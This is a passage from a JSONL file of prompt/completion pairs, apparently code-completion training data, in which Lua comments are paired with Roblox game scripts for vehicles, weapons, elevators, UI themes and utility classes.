then\n\t\tAPAmmo.Value = APAmmo.Value - 1;\n\telse\n\t\tHEAmmo.Value = HEAmmo.Value - 1;\n\tend\n\t\n\tGUI.Loaded.Visible = false\n\n\tlocal fireScript = tankStats[\"Fire\" .. currRound.Value]:clone();\n\tfireScript.Parent = parts;\n\tfireScript.Disabled = false;\n\treload(GUI);\n\t\nend\n"} +{"prompt": "--Common functions", "completion": "\nlocal function StringSplit(s, delimiter)\n\tlocal spl = {}\n\tfor match in (s..delimiter):gmatch(\"(.-)\"..delimiter) do\n\t\ttable.insert(spl, match)\n\tend\n\treturn spl\nend\n"} +{"prompt": "-- -- -- -- -- -- --\n--DIRECTION SCROLL--\n-- -- -- -- -- -- --", "completion": "\n\n\nwhile wait() do\n\t\n\t-- -- -- -- -- -- --\n\t--DIRECTION SCROLL--\n\t-- -- -- -- -- -- --\n\tif Lift:WaitForChild(\"Direction\").Value == 1 then\n\t\tThis.Display.ARW1.U.BrickColor = BrickColor.new(ActiveARWColour)\n\t\tThis.Display.ARW1.U.Material = \"Neon\"\n\t\tThis.Display.ARW1.D.BrickColor = BrickColor.new(InactiveColour)\n\t\tThis.Display.ARW1.D.Material = \"SmoothPlastic\"\n\telseif Lift:WaitForChild(\"Direction\").Value == -1 then\n\t\tThis.Display.ARW1.U.BrickColor = BrickColor.new(InactiveColour)\n\t\tThis.Display.ARW1.U.Material = \"SmoothPlastic\"\n\t\tThis.Display.ARW1.D.BrickColor = BrickColor.new(ActiveARWColour)\n\t\tThis.Display.ARW1.D.Material = \"Neon\"\n\telse\n\t\tThis.Display.ARW1.U.BrickColor = BrickColor.new(InactiveColour)\n\t\tThis.Display.ARW1.U.Material = \"SmoothPlastic\"\n\t\tThis.Display.ARW1.D.BrickColor = BrickColor.new(InactiveColour)\n\t\tThis.Display.ARW1.D.Material = \"SmoothPlastic\"\n\tend\n\t\n\tif Lift:WaitForChild(\"Mode\").Value ~= \"fire\" then\n\t\tThis.Legend.SurfaceGui.OOS.TextColor3 = Color3.fromRGB(54, 54, 54)\n\telse\n\t\tThis.Legend.SurfaceGui.OOS.TextColor3 = Color3.fromRGB(255, 170, 0)\n\tend\n\t\n\tif Lift.Car.Sensor:FindFirstChild(\"Overloaded\") then\n\t\tif Lift.Car.Sensor.Overloaded.Value == true then\n\t\t\tThis.Legend.SurfaceGui.FULL.TextColor3 = Color3.fromRGB(255, 170, 0)\n\t\telse\n\t\t\tThis.Legend.SurfaceGui.FULL.TextColor3 = Color3.fromRGB(54, 54, 54)\n\t\tend\n\tend\n\t\nend\n"} +{"prompt": "-- Maid object:", "completion": "\n\nlocal Maid = {\n\t-- _cleanup_tasks = {},\n\t-- _is_cleaned = false,\n}\nMaid.__index = Maid\n\nfunction Maid:AddCleanupTask(task)\n\tif self._is_cleaned == true then\n\t\tPerformCleanupTask(task)\n\t\treturn function() end\n\telseif type(task) == \"function\" then\n\t\ttable.insert(self._cleanup_tasks, task)\n\telseif typeof(task) == \"RBXScriptConnection\" then\n\t\ttable.insert(self._cleanup_tasks, task)\n\telseif typeof(task) == \"Instance\" then\n\t\ttable.insert(self._cleanup_tasks, task)\n\telseif type(task) == \"table\" then\n\t\tif type(task.Destroy) == \"function\" then\n\t\t\ttable.insert(self._cleanup_tasks, task)\n\t\telseif type(task.Disconnect) == \"function\" then\n\t\t\ttable.insert(self._cleanup_tasks, task)\n\t\telse\n\t\t\terror(\"[MadworkMaid]: Received object table as cleanup task, but couldn't detect a :Destroy() method\")\n\t\tend\n\telse\n\t\terror(\"[MadworkMaid]: Cleanup task of type \\\"\" .. typeof(task) .. \"\\\" not supported\")\n\tend\n\treturn function(...)\n\t\tself:RemoveCleanupTask(task)\n\t\tPerformCleanupTask(task, ...)\n\tend\nend\n\nfunction Maid:RemoveCleanupTask(task)\n\tlocal cleanup_tasks = self._cleanup_tasks\n\tlocal index = table.find(cleanup_tasks, task)\n\tif index ~= nil then\n\t\ttable.remove(cleanup_tasks, index)\n\tend\nend\n\nfunction Maid:CleanupOfOne(task, ...)\n\tself:RemoveCleanupTask(task)\n\tPerformCleanupTask(task, ...)\nend\n\nfunction Maid:Cleanup(...)\n\tfor _, task in ipairs(self._cleanup_tasks) do\n\t\tPerformCleanupTask(task, ...)\n\tend\n\tself._cleanup_tasks = {}\n\tself._is_cleaned = true\nend\n"} +{"prompt": "-- Play music track", "completion": "\nAudioPlayerModule.playAudio(\"Main_Background_Theme\")\n"} +{"prompt": "----------------------------------------------------------------[SS6] TO ADJUST ANY OF THE STEERING OPTIONS, GO TO LINE 66 \"--change\"", "completion": "\nssl = carSeat.Parent.Parent.LW.WheelML\nssr = carSeat.Parent.Parent.RW.WheelMR\nstrlckL = 1\nstrlckR = 1\nstrspd = script.Parent.Storage.SteerSpeed.Value \nstrprg = 0 \nmaxlockL = carSeat.Storage.SteeringAngle.Value \nmaxlockR = carSeat.Storage.SteeringAngle.Value\nm = false occ = false n = false\nsteer = 0\nif carSeat.Steer == 1 then\nstrlckL = math.rad(maxlockL+4)\nstrlckR = math.rad(maxlockR+6)\nelseif carSeat.Steer == -1 then\nstrlckL = math.rad(maxlockL+6)\nstrlckR = math.rad(maxlockR+4)\nend\n\n\nwhile wait() do\n\tspd = carSeat.Velocity.Magnitude\n\tsteer = (steer+((carSeat.Steer-steer)*strspd))\n\tcarSeat.Parent.Parent.LW.WheelML.Gyro.cframe = carSeat.Parent.ref.CFrame * CFrame.Angles(0,((-1*steer)*strlckL)*(strprg/(spd+strprg)),0)\n\tcarSeat.Parent.Parent.RW.WheelMR.Gyro.cframe = carSeat.Parent.ref.CFrame * CFrame.Angles(0,((-1*steer)*strlckR)*(strprg/(spd+strprg)),0)\n\tcarSeat.Parent.Parent.LW.ML.HingeConstraint.MotorMaxTorque = 0\n\tcarSeat.Parent.Parent.RW.MR.HingeConstraint.MotorMaxTorque = 0\n\t\n\tif carSeat.Throttle == 0 then\n\t\tstrspd = script.Parent.Storage.SteerSpeed.Value*4.3\n\tend\n\t\n\tssl.Gyro.D = damp\nssl.Gyro.maxTorque = Vector3.new(0,maxtq,0)\nssl.Gyro.P = pw\nssr.Gyro.D = damp\nssr.Gyro.maxTorque = Vector3.new(0,maxtq,0)\nssr.Gyro.P = pw\n\n\tif spd < 140 then\n\t\tstrprg = 160\n\telse\n\t\tstrprg = 80*ty\n\tend\n\t\n\tif carSeat.Storage.Mode == \"City\" then\n\tty = 0.005\n\telse\n\tty = 1\t\t\n\tend\n\tif script.Parent.Storage.CurrentGear.Value == 2 and carSeat.Steer == 0 then \n\t\tdamp = 800\nmaxtq = 30000\npw = 100000\n\telse \n\tdamp = 1000 --change\nmaxtq = 3000 --change\npw = 10000 --change\t\n\tend\n\t\n\t--if script.Parent.Storage.CurrentGear.Value == 2 and carSeat.Steer == 0 then \n\t\t--if m == false then\n\t--\tm = true occ = true n = true "} +{"prompt": "----- hot tap handler", "completion": "\n\nfor i, v in pairs(hotTap:GetChildren()) do\n\tif v:FindFirstChild(\"ClickDetector\") then\n\t\tv.ClickDetector.MouseClick:Connect(function()\n\t\t\tif hotOn.Value == false then\n\t\t\t\thotOn.Value = true\n\t\t\t\tfaucet.ParticleEmitter.Enabled = true\n\t\t\t\twaterSound:Play()\n\t\t\t\thotTap:SetPrimaryPartCFrame(hotTap.PrimaryPart.CFrame * CFrame.Angles(math.rad(45),0,0))\n\t\t\telse\n\t\t\t\thotOn.Value = false\n\t\t\t\tif coldOn.Value == false then\n\t\t\t\t\tfaucet.ParticleEmitter.Enabled = false\n\t\t\t\t\twaterSound:Stop()\n\t\t\t\tend\n\t\t\t\thotTap:SetPrimaryPartCFrame(hotTap.PrimaryPart.CFrame * CFrame.Angles(math.rad(-45),0,0))\n\t\t\tend\n\t\tend)\n\tend\nend\n"} +{"prompt": "-- Implements Javascript's `Map.prototype.forEach` as defined below\n-- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/forEach", "completion": "\nfunction Map:forEach(callback: callbackFn | callbackFnWithThisArg, thisArg: Object?): ()\n\tif typeof(callback) ~= \"function\" then\n\t\terror(\"callback is not a function\")\n\tend\n\n\treturn Array.forEach(self._array, function(key: K)\n\t\tlocal value: V = self._map[key] :: V\n\n\t\tif thisArg ~= nil then\n\t\t\t(callback :: callbackFnWithThisArg)(thisArg, value, key, self)\n\t\telse\n\t\t\t(callback :: callbackFn)(value, key, self)\n\t\tend\n\tend)\nend\n\nfunction Map:has(key): boolean\n\treturn self._map[key] ~= nil\nend\n\nfunction Map:keys()\n\treturn self._array\nend\n\nfunction Map:values()\n\treturn Array.map(self._array, function(key)\n\t\treturn self._map[key]\n\tend)\nend\n\nfunction Map:entries()\n\treturn Array.map(self._array, function(key)\n\t\treturn { key, self._map[key] }\n\tend)\nend\n\nfunction Map:ipairs()\n\treturn ipairs(self:entries())\nend\n\nfunction Map.__index(self, key)\n\tlocal mapProp = rawget(Map, key)\n\tif mapProp ~= nil then\n\t\treturn mapProp\n\tend\n\n\treturn Map.get(self, key)\nend\n\nfunction Map.__newindex(table_, key, value)\n\ttable_:set(key, value)\nend\n\nlocal function coerceToMap(mapLike: Map | Table): Map\n\treturn instanceOf(mapLike, Map) and mapLike :: Map -- ROBLOX: order is preservered\n\t\tor Map.new(Object.entries(mapLike)) -- ROBLOX: order is not preserved\nend\n\nlocal function coerceToTable(mapLike: Map | Table): Table\n\tif not instanceOf(mapLike, Map) then\n\t\treturn mapLike\n\tend\n\n\t-- create table from map\n\treturn Array.reduce(mapLike:entries(), function(tbl, entry)\n\t\ttbl[entry[1]] = entry[2]\n\t\treturn tbl\n\tend, {})\nend\n\nreturn {\n\tMap = Map,\n\tcoerceToMap = coerceToMap,\n\tcoerceToTable = coerceToTable,\n}\n"} +{"prompt": "-- This is the attack surface. It's imperitative that it is minimized as much as possible.", "completion": "\n"} +{"prompt": "-- Either a constant value of type T, or a state object containing type T.", "completion": "\nexport type CanBeState = StateObject | T\n"} +{"prompt": "--[[\nRuns the fire animation.\n--]]", "completion": "\nfunction EggCreator:PlayLaunchAnimation()\n\t--Launch the arm.\n\tReleaseMotor.DesiredAngle = 3\n\twait(ANIMATION_TIME)\n\tEgg.Transparency = 1\n\n\t--Delay the animation.\n\twait(ANIMATION_DELAY_TIME)\n\t\n\t--Reset the arm.\n\tReleaseMotor.DesiredAngle = 0\n\twait(ANIMATION_TIME)\n\t\n\t--Reset the egg.\n\twait(RELOAD_TIME - (2* ANIMATION_TIME) - ANIMATION_DELAY_TIME)\n\tEgg.Transparency = 0\t\nend\n\n\n\nreturn EggCreator\n"} +{"prompt": "--[[Run]]", "completion": "\n\n\t--Print Version\n\tlocal ver=require(car[\"A-Chassis Tune\"].README)\n\tprint(\"Novena: AC6T Loaded - Build \"..ver)\n\t\n\t--Runtime Loops\n\t\n\t-- ~60 c/s\n\tgame[\"Run Service\"].Stepped:connect(function()\n\t\t--Steering\n\t\tSteering()\n\t\t\n\t\t--RPM\n\t\tRPM()\n\t\t\n\t\t--Suspension\n\t\tif not workspace:PGSIsEnabled() and _Tune.SusEnabled then\n\t\t\tSuspension()\n\t\tend\n\t\t\n\t\t--Power\n\t\tEngine()\n\t\t\n\t\t--Update External Values\n\t\t_IsOn = script.Parent.IsOn.Value\n\t\t_InControls = script.Parent.ControlsOpen.Value\n\t\tscript.Parent.Values.Gear.Value = _CGear\n\t\tscript.Parent.Values.RPM.Value = _RPM\n\t\tscript.Parent.Values.Boost.Value = (_Boost/2)*_TPsi\n\t\tscript.Parent.Values.Horsepower.Value = _HP\n\t\tscript.Parent.Values.HpNatural.Value = _NH\n\t\tscript.Parent.Values.HpBoosted.Value = _BH*(_Boost/2)\n\t\tscript.Parent.Values.Torque.Value = _HP * _Tune.EqPoint / _RPM\n\t\tscript.Parent.Values.TqNatural.Value = _NT\n\t\tscript.Parent.Values.TqBoosted.Value = _BT*(_Boost/2)\n\t\tscript.Parent.Values.TransmissionMode.Value = _TMode\n\t\tscript.Parent.Values.Throttle.Value = _GThrot*_GThrotShift\n\t\tscript.Parent.Values.Brake.Value = _GBrake\n\t\tscript.Parent.Values.SteerC.Value = _GSteerC*(1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100)))\n\t\tscript.Parent.Values.SteerT.Value = _GSteerT\n\t\tscript.Parent.Values.PBrake.Value = _PBrake\n\t\tscript.Parent.Values.TCS.Value = _TCS\n\t\tscript.Parent.Values.TCSActive.Value = _TCSActive\n\t\tscript.Parent.Values.TCSAmt.Value = 1-_TCSAmt\n\t\tscript.Parent.Values.ABS.Value = _ABS\n\t\tscript.Parent.Values.ABSActive.Value = _ABSActive\n\t\tscript.Parent.Values.MouseSteerOn.Value = _MSteer\n\t\tscript.Parent.Values.Velocity.Value = car.DriveSeat.Velocity\n\tend)\n\t\n\t--15 c/s\n\twhile wait(.0667) do\n\t\t--Automatic Transmission\n\t\tif _TMode == \"Auto\" then Auto() end\n\t\t\n\t\t--Flip\n\t\tif _Tune.AutoFlip then Flip() end\n\tend\n"} +{"prompt": "--[[Weight and CG]]", "completion": "\n\tTune.Weight\t\t\t= 3214\t\t-- Total weight (in pounds)\n\tTune.WeightBSize\t= {\t\t\t-- Size of weight brick (dimmensions in studs ; larger = more stable)\n\t --[[Width]]\t\t6\t\t,\n\t --[[Height]]\t\t4\t\t,\n\t --[[Length]]\t\t15\t\t}\n\tTune.WeightDist\t\t= 51\t\t-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)\n\tTune.CGHeight\t\t= .8\t\t-- Center of gravity height (studs relative to median of all wheels)\n\tTune.WBVisible\t\t= false\t\t-- Makes the weight brick visible\n\t\n\t--Unsprung Weight\n\tTune.FWheelDensity\t= .1\t\t-- Front Wheel Density\n\tTune.RWheelDensity\t= .1\t\t-- Rear Wheel Density\n\tTune.FWLgcyDensity\t= 1\t\t\t-- Front Wheel Density [PGS OFF]\n\tTune.RWLgcyDensity\t= 1\t\t\t-- Rear Wheel Density [PGS OFF]\n\t\n\tTune.AxleSize\t\t= 2\t\t\t-- Size of structural members (larger = MORE STABLE / carry more weight)\n\tTune.AxleDensity\t= .1\t\t-- Density of structural members\n\t"} +{"prompt": "--Handles the ball being touched.", "completion": "\nlocal function SlingshotBallHit(TouchPart)\n\tif TouchPart.Name == \"Handle\" or not TouchPart.Parent then return end\n\t\n\tlocal HitHumanoid = TouchPart.Parent:FindFirstChild(\"Humanoid\")\n\tif HitHumanoid and HitHumanoid.Parent ~= LastHitCharacter then\n\t\tif SLINGSHOT_START_DAMAGE == CurrentDamage and TouchPart.Parent == FiredCharacter then \n\t\t\treturn \n\t\tend\n\t\t\n\t\tLastHitCharacter = HitHumanoid.Parent\n\t\tPlayerDamager:DamageHumanoid(GetReflectedByPlayer() or FiredPlayer,HitHumanoid,CurrentDamage,GetDamageName())\n\telse\n\t\tif not TouchPart.CanCollide then return end\n\t\tCurrentDamage = CurrentDamage/1.42\n\t\t\n\t\tif CurrentDamage < 1 and TouchConnection then\n\t\t\tTouchConnection:disconnect()\n\t\t\tTouchConnection = nil\n\t\t\tSlingshotBall:Destroy()\n\t\tend\n\tend\nend\n\n\n"} +{"prompt": "-- Make signal strict", "completion": "\nsetmetatable(Signal, {\n\t__index = function(_tb, key)\n\t\terror((\"Attempt to get Signal::%s (not a valid member)\"):format(tostring(key)), 2)\n\tend,\n\t__newindex = function(_tb, key, _value)\n\t\terror((\"Attempt to set Signal::%s (not a valid member)\"):format(tostring(key)), 2)\n\tend,\n})\n\nreturn {\n\tnew = Signal.new,\n}\n"} +{"prompt": "-------- OMG HAX", "completion": "\n\nr = game:service(\"RunService\")\n\n\nlocal damage = 10\n\n\nlocal slash_damage = 10\nlocal lunge_damage = 20\n\nsword = script.Parent.Handle\nTool = script.Parent\n\n\nlocal SlashSound = Instance.new(\"Sound\")\nSlashSound.SoundId = \"http://www.roblox.com/asset/?id=11998777\"\nSlashSound.Parent = sword\n\n\nlocal LungeSound = Instance.new(\"Sound\")\nLungeSound.SoundId = \"http://www.roblox.com/asset/?id=11998796\"\nLungeSound.Parent = sword\n\n\nlocal UnsheathSound = Instance.new(\"Sound\")\nUnsheathSound.SoundId = \"http://www.roblox.com/asset/?id=11998770\"\nUnsheathSound.Parent = sword\n\n\n\n\n\n\n\nfunction blow(hit)\n\tlocal humanoid = hit.Parent:findFirstChild(\"Humanoid\")\n\tlocal vCharacter = Tool.Parent\n\tlocal vPlayer = game.Players:playerFromCharacter(vCharacter)\n\tlocal hum = vCharacter:findFirstChild(\"Humanoid\") -- non-nil if tool held by a character\n\tif humanoid~=nil and humanoid ~= hum and hum ~= nil then\n\t\t-- final check, make sure sword is in-hand\n\n\t\tlocal right_arm = vCharacter:FindFirstChild(\"Right Arm\")\n\t\tif (right_arm ~= nil) then\n\t\t\tlocal joint = right_arm:FindFirstChild(\"RightGrip\")\n\t\t\tif (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then\n\t\t\t\ttagHumanoid(humanoid, vPlayer)\n\t\t\t\thumanoid:TakeDamage(damage)\n\t\t\t\twait(1)\n\t\t\t\tuntagHumanoid(humanoid)\n\t\t\tend\n\t\tend\n\n\n\tend\nend\n\n\n\nfunction tagHumanoid(humanoid, player)\n\tlocal creator_tag = Instance.new(\"ObjectValue\")\n\tcreator_tag.Value = player\n\tcreator_tag.Name = \"creator\"\n\tcreator_tag.Parent = humanoid\nend\n\nfunction untagHumanoid(humanoid)\n\tif humanoid ~= nil then\n\t\tlocal tag = humanoid:findFirstChild(\"creator\")\n\t\tif tag ~= nil then\n\t\t\ttag.Parent = nil\n\t\tend\n\tend\nend\n\n\nfunction attack()\n\tdamage = slash_damage\n\tSlashSound:play()\n\tTool.Parent.Torso[\"Right Shoulder\"].MaxVelocity = 0.7\n\tTool.Parent.Torso[\"Right Shoulder\"].DesiredAngle = 3.6\n\twait(.1)\n\tTool.Parent.Torso[\"Right Shoulder\"].MaxVelocity = 1\n\nend\n\nfunction lunge()\n\tdamage = lunge_damage\n\n\tLungeSound:play()\n\n\tlocal anim = Instance.new(\"StringValue\")\n\tanim.Name = \"toolanim\"\n\tanim.Value = \"Lunge\"\n\tanim.Parent = Tool\n\t\n\t\n\tlocal force = Instance.new(\"BodyVelocity\")\n\tforce.velocity = Vector3.new(0,80,0) \n\tforce.Parent = Tool.Parent.Torso\n\twait(.25)\n\tforce.velocity = (Tool.Parent.Torso.CFrame.lookVector * 120) + Vector3.new(0, 60,0)\n\t--swordOut()\n\twait(.5)\n\tforce.Parent = nil\n\twait(.5)\n\t--swordUp()\n\n\tdamage = slash_damage\nend\n\nfunction swordUp()\n\tTool.GripForward = Vector3.new(-1,0,0)\n\tTool.GripRight = Vector3.new(0,1,0)\n\tTool.GripUp = Vector3.new(0,0,1)\nend\n\nfunction swordOut()\n\tTool.GripForward = Vector3.new(0,0,1)\n\tTool.GripRight = Vector3.new(0,-1,0)\n\tTool.GripUp = Vector3.new(-1,0,0)\nend\n\nfunction swordAcross()\n\t-- parry\nend\n\n\nTool.Enabled = true\nlocal last_attack = 0\nfunction onActivated()\n\n\tif not Tool.Enabled then\n\t\treturn\n\tend\n\n\tTool.Enabled = false\n\n\tlocal character = Tool.Parent;\n\tlocal humanoid = character.Humanoid\n\tif humanoid == nil then\n\t\tprint(\"Humanoid not found\")\n\t\treturn \n\tend\n\n\tt = r.Stepped:wait()\n\n\tif (t - last_attack < .2) then\n\t\tlunge()\n\telse\n\t\tattack()\n\tend\n\n\tlast_attack = t\n\n\t--wait(.5)\n\n\tTool.Enabled = true\nend\n\n\nfunction onEquipped()\n\tUnsheathSound:play()\nend\n\n\nscript.Parent.Activated:connect(onActivated)\nscript.Parent.Equipped:connect(onEquipped)\n\n\nconnection = sword.Touched:connect(blow)\n\n\n"} +{"prompt": "--\n--", "completion": "\nMonster:Initialize()\nMonster:InitializeUnique()\n\nwhile true do\n\tif not Monster:IsAlive() then\n\t\tif Data.IsDead == false then\n\t\t\tData.IsDead = true\n\t\t\tData.TimeOfDeath = tick()\n\t\t\tSelf.Died:Fire()\n\t\tend\n\t\tif Data.IsDead == true then\n\t\t\tif tick()-Data.TimeOfDeath > Info.RespawnWaitTime then\n\t\t\t\tMonster:Respawn()\n\t\t\tend\n\t\tend\n\tend\n\t\n\tif Monster:IsAlive() then\n\t\tMonster:Update()\n\tend\n\t\n\twait()\nend\n"} +{"prompt": "--[[\nThis file is necessary for constructing the default Icon template\nDo not remove this module otherwise TopbarPlus will break\nModifying this file may also cause TopbarPlus to break\nIt's recommended instead to create a separate theme module and use that instead\n\nTo apply your theme after creating it, do:\n```lua\nlocal IconController = require(pathway.to.IconController)\nlocal Themes = require(pathway.to.Themes)\nIconController.setGameTheme(Themes.YourThemeName)\n```\n\nor by applying to an individual icon:\n```lua\nlocal Icon = require(pathway.to.Icon)\nlocal Themes = require(pathway.to.Themes)\nlocal newIcon = Icon.new()\n :setTheme(Themes.YourThemeName)\n```\n--]]", "completion": "\n\nreturn {\n \n -- Settings which describe how an item behaves or transitions between states\n action = {\n toggleTransitionInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),\n resizeInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),\n repositionInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),\n captionFadeInfo = TweenInfo.new(0.1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),\n tipFadeInfo = TweenInfo.new(0.1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),\n dropdownSlideInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),\n menuSlideInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),\n },\n\n -- Settings which describe how an item appears when 'deselected' and 'selected'\n toggleable = {\n -- How items appear normally (i.e. when they're 'deselected')\n deselected = {\n iconBackgroundColor = Color3.fromRGB(0, 0, 0),\n iconBackgroundTransparency = 0.5,\n iconCornerRadius = UDim.new(0.25, 0),\n iconGradientColor = ColorSequence.new(Color3.fromRGB(255, 255, 255)),\n iconGradientRotation = 0,\n iconImage = \"\",\n iconImageColor =Color3.fromRGB(255, 255, 255),\n iconImageTransparency = 0,\n iconImageYScale = 0.63,\n iconImageRatio = 1,\n iconLabelYScale = 0.45,\n iconScale = UDim2.new(1, 0, 1, 0),\n forcedIconSizeX = 32;\n forcedIconSizeY = 32;\n iconSize = UDim2.new(0, 32, 0, 32),\n iconOffset = UDim2.new(0, 0, 0, 0),\n iconText = \"\",\n iconTextColor = Color3.fromRGB(255, 255, 255),\n iconFont = Enum.Font.GothamSemibold,\n noticeCircleColor = Color3.fromRGB(255, 255, 255),\n noticeCircleImage = \"http://www.roblox.com/asset/?id=4871790969\",\n noticeTextColor = Color3.fromRGB(31, 33, 35),\n baseZIndex = 1,\n order = 1,\n alignment = \"left\",\n clickSoundId = \"rbxassetid://5273899897\",\n clickVolume = 0,\n clickPlaybackSpeed = 1,\n clickTimePosition = 0.12\n },\n -- How items appear after the icon has been clicked (i.e. when they're 'selected')\n -- If a selected value is not specified, it will default to the deselected value\n selected = {\n iconBackgroundColor = Color3.fromRGB(245, 245, 245),\n iconBackgroundTransparency = 0.1,\n iconImageColor = Color3.fromRGB(57, 60, 65),\n iconTextColor = Color3.fromRGB(57, 60, 65),\n clickPlaybackSpeed = 1.5,\n }\n },\n\n -- Settings where toggleState doesn't matter (they have a singular state)\n other = {\n -- Caption settings\n captionBackgroundColor = Color3.fromRGB(0, 0, 0),\n captionBackgroundTransparency = 0.5,\n captionTextColor = Color3.fromRGB(255, 255, 255),\n captionTextTransparency = 0,\n captionFont = Enum.Font.GothamSemibold,\n captionOverlineColor = Color3.fromRGB(0, 170, 255),\n captionOverlineTransparency = 0,\n captionCornerRadius = UDim.new(0.25, 0),\n -- Tip settings\n tipBackgroundColor = Color3.fromRGB(255, 255, 255),\n tipBackgroundTransparency = 0.1,\n tipTextColor = Color3.fromRGB(27, 42, 53),\n tipTextTransparency = 0,\n tipFont = Enum.Font.GothamSemibold,\n tipCornerRadius = UDim.new(0.175, 0),\n -- Dropdown settings\n dropdownAlignment = \"auto\", -- 'left', 'mid', 'right' or 'auto' (auto is where the dropdown alignment matches the icons alignment)\n dropdownMaxIconsBeforeScroll = 3,\n dropdownMinWidth = 32,\n dropdownSquareCorners = false,\n dropdownBindToggleToIcon = true,\n dropdownToggleOnLongPress = false,\n dropdownToggleOnRightClick = false,\n dropdownCloseOnTapAway = false,\n dropdownHidePlayerlistOnOverlap = true,\n dropdownListPadding = UDim.new(0, 2),\n dropdownScrollBarColor = Color3.fromRGB(25, 25, 25),\n dropdownScrollBarTransparency = 0.2,\n dropdownScrollBarThickness = 4,\n -- Menu settings\n menuDirection = \"auto\", -- 'left', 'right' or 'auto' (for auto, if alignment is 'left' or 'mid', menuDirection will be 'right', else menuDirection is 'left')\n menuMaxIconsBeforeScroll = 4,\n menuBindToggleToIcon = true,\n menuToggleOnLongPress = false,\n menuToggleOnRightClick = false,\n menuCloseOnTapAway = false,\n menuScrollBarColor = Color3.fromRGB(25, 25, 25),\n menuScrollBarTransparency = 0.2,\n menuScrollBarThickness = 4,\n },\n \n}\n"} +{"prompt": "--[[Steering]]", "completion": "\n\tTune.SteerInner\t\t= 21\t\t-- Inner wheel steering angle (in degrees)\n\tTune.SteerOuter\t\t= 19\t\t-- Outer wheel steering angle (in degrees)\n\tTune.SteerSpeed\t\t= .12\t\t-- Steering increment per tick (in degrees)\n\tTune.ReturnSpeed\t= .1\t\t-- Steering increment per tick (in degrees)\n\tTune.SteerDecay\t\t= 320\t\t-- Speed of gradient cutoff (in SPS)\n\tTune.MinSteer\t\t= 1 \t\t-- Minimum steering at max steer decay (in percent)\n\tTune.MSteerExp\t\t= 1\t\t\t-- Mouse steering exponential degree\n\t\n\t--Steer Gyro Tuning\n\tTune.SteerD\t\t\t= 1000\t\t-- Steering Dampening\n\tTune.SteerMaxTorque\t= 50000\t\t-- Steering Force\n\tTune.SteerP\t\t\t= 20000\t -- Steering Aggressiveness\n\t"} +{"prompt": "--[=[\n\tUse to determine if the given GuiObject or Rect is within the other\n\tGuiObject or Rect. This will fail if part of the given GuiObject or Rect\n\textends beyond the extents of the other GuiObject or Rect.\n\n\tThis can be useful in making sure child UI elements do not accidentally leak\n\toutside of their containers.\n\n\t```lua\n\texpect(a).toBeInside(b) -- Jest\n\texpect(a).to.be.inside(b) -- TestEZ\n\t```\n\n\t![Example of inside(a, b)](/inside(a,%20b).png)\n\n\t@tag relationship\n\t@within CollisionMatchers2D\n]=]", "completion": "\nlocal function inside(a: GuiObject | Rect, b: GuiObject | Rect)\n\tlocal aRect = toRect(a)\n\tlocal bRect = toRect(b)\n\n\treturn returnValue(\n\t\tisPointInside(aRect.Min, bRect) and isPointInside(aRect.Max, bRect),\n\t\t\"Is inside the element\",\n\t\t\"Is not inside the element\"\n\t)\nend\n\nreturn inside\n"} +{"prompt": "--[[Misc]]", "completion": "\n\tTune.LoadDelay\t\t= .2\t\t-- Delay before initializing chassis (in seconds)\n\tTune.AutoStart\t\t= false\t\t-- Set to false if using manual ignition plugin\n\tTune.AutoFlip\t\t= true\t\t-- Set to false if using manual flip plugin\n\t"} +{"prompt": "-- Get list of attachments to make ballsocketconstraints between:", "completion": "\nfunction RigTypes.getAttachments(model, rigType)\n\tif rigType == Enum.HumanoidRigType.R6 then\n\t\treturn RigTypes.getR6Attachments(model)\n\telseif rigType == Enum.HumanoidRigType.R15 then\n\t\treturn RigTypes.getR15Attachments(model)\n\telse\n\t\treturn {}\n\tend\nend\n\nfunction RigTypes.getR6Attachments(model)\n\tlocal rightLegAttachment = Instance.new(\"Attachment\")\n\trightLegAttachment.Name = \"RagdollRightLegAttachment\"\n\trightLegAttachment.Position = Vector3.new(0, 1, 0)\n\trightLegAttachment.Parent = model:FindFirstChild(\"Right Leg\")\n\n\tlocal leftLegAttachment = Instance.new(\"Attachment\")\n\tleftLegAttachment.Name = \"RagdollLeftLegAttachment\"\n\tleftLegAttachment.Position = Vector3.new(0, 1, 0)\n\tleftLegAttachment.Parent = model:FindFirstChild(\"Left Leg\")\n\n\tlocal torsoLeftAttachment = Instance.new(\"Attachment\")\n\ttorsoLeftAttachment.Name = \"RagdollTorsoLeftAttachment\"\n\ttorsoLeftAttachment.Position = Vector3.new(-0.5, -1, 0)\n\ttorsoLeftAttachment.Parent = model:FindFirstChild(\"Torso\")\n\n\tlocal torsoRightAttachment = Instance.new(\"Attachment\")\n\ttorsoRightAttachment.Name = \"RagdollTorsoRightAttachment\"\n\ttorsoRightAttachment.Position = Vector3.new(0.5, -1, 0)\n\ttorsoRightAttachment.Parent = model:FindFirstChild(\"Torso\")\n\n\tlocal headAttachment = Instance.new(\"Attachment\")\n\theadAttachment.Name = \"RagdollHeadAttachment\"\n\theadAttachment.Position = Vector3.new(0, -0.5, 0)\n\theadAttachment.Parent = model:FindFirstChild(\"Head\")\n\n\tlocal leftArmAttachment = Instance.new(\"Attachment\")\n\tleftArmAttachment.Name = \"RagdollLeftArmAttachment\"\n\tleftArmAttachment.Position = Vector3.new(0.5, 1, 0)\n\tleftArmAttachment.Parent = model:FindFirstChild(\"Left Arm\")\n\n\tlocal ragdollRightArmAttachment = Instance.new(\"Attachment\")\n\tragdollRightArmAttachment.Name = \"RagdollRightArmAttachment\"\n\tragdollRightArmAttachment.Position = Vector3.new(-0.5, 1, 0)\n\tragdollRightArmAttachment.Parent = model:FindFirstChild(\"Right Arm\")\n\n\tlocal query = find(model)\n\n\treturn {\n\t\tHead = query(\n\t\t\t{\"Torso\", \"NeckAttachment\"},\n\t\t\t{\"Head\", 